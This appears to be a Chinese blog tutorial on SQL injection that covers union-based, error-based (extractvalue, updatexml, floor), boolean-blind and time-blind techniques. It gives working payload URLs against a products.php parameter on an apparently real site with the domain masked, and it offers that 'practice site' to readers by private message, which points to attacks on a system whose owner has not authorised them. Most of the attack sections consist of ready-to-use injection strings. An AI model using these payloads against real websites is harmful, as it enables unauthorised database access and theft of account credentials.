网络安全 sql注入详解(+实战网站+)

1.sql注入原理:

       SQL 注入就是指 web 应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数 是攻击者可以控制,并且参 数带入数据库的查询,攻击者可以通过构造恶意的 sql 语句来实现 对数据库的任意操作。

1.1sql注入的危害:

      1.数据库信息泄露 网页篡改:通过操作数据库对特定网页进行篡改,嵌入网马链接

       2.进行挂马攻击。 数据库被恶意操作:数据库服务器被攻击,

       3.数据库的系统管理员帐户被更改。

       4.服务器被远程控制:黑客可以修改或控制操作系统。

       5.种植木马:瘫痪全系统。

1.2sql注入常见攻击流程:

     1.判断是否存在注入

     2. 收集信息,判断数据库类型,版本

     3. 根据注入类型爆破库名,表名等

     4. 获取账号密码,上传文件

1.3sql注入常用的函数

     1. version()mysql版本

     2. database()数据库名

     3. current_user()当前用户名

     4. @@datadir数据库路径

     5. @@basedir数据库安装路径

                                   [实战网址——私信我]

2.sql注入类型——

   2.1判断:使用'或者"去判断等等

2.1联合查询注入

           使用条件:当查询的数据页面会有回显

1. order by 1-31 判断数据库表的字段数

http://(域名)/chinese/products.php?G0=3 order by 30 -- -

2.union select 1,2,3,4,5,6——30 判断数据库表中那些字段会回显

http://(域名)/chinese/products.php?G0=-3 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -

3.爆库名 database() version() user()等

http://(域名)/chinese/products.php?G0=-3 UNION SELECT 1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -

4.爆表名

http://..................1,2,3,(select column_name from information_schema.columns where table_schema='wwwadm' and table_name='users' limit 0,1),4.....30-- -

2.2报错注入

  2.2.1 使用条件:

        在 MYSQL 中使用一些指定的函数来制造报错,后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端,从而从报错 信息中获取设定的信息。

        select/insert/update/delete 都可以使用报错来获取。

2.2.2常用函数:

    extractvalue(),updatexml(),exp(),floor()

extractvalue (XML_document, XPath_string):

注释: extractvalue()函数是 MYSQL 对 XML 文档数据进行查询的 XPATH 函数。 第一个参数:XML_docment是String格式,为XML文档对象的名称 第二个参数:XPath_string(Xpath格式的字符串)

        updatexml(XML_document, XPath_string, new_value):

   注释:   updatexml()函数是 MYSQL 对 XML 文档数据进行查询和修改的函数。 第一个参数:XML_document是String格式,为XML文档对象的名称 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据

报错原理:

extractvalue(),updatexml()都是 MYSQL 对 XML 文档数据进行查询的 XPATH 函数,当传入的值不符合XPATH格式 时报错。

mid(string,1,1) 截取字符串函数

用法:

 extractvalue():

    extractvalue(1,concat(0x7e,(select database)))

 updatexml():

|updatexml(1,concat(0x7e,(select database()),0x7e),1)

  floor():

|select count(*),floor(rand(0)*2) x from users group by x

2.3布尔盲注

判断:

    Boolean 是基于真假的判断(true or false); 不管输入什么,结果都只返回真或假两种 情况; 通过and 1=1 和 and 1=2 可以发现注入点。

常用函数:

       通过长度判断 length():length(database())

      通过字符判断 substr():substr(database(),1,1) = 's'

      通过 ascII 码判断:ascii():ascii(substr(database(),1,1)) =1

payload

   截取数据库的第一个字符:

   substr():substr(database(),1,1) ='s'

   把截取的字符转换成ASCII:

   ascii(substr(database(),1,1)) =110

2.4时间盲注

 判断:

     代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,语句执行后也不提示真假,我们不能通过页面的内 容来判断,通过页面响应的时长,来判断信息,这就是时间盲注。

常用函数:

          sleep(),benchmark()延迟函数

         if(str1,str2,str3) 如果str1正确就执行str2,否则执行str3

 payload:

1' and sleep(5) --+

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值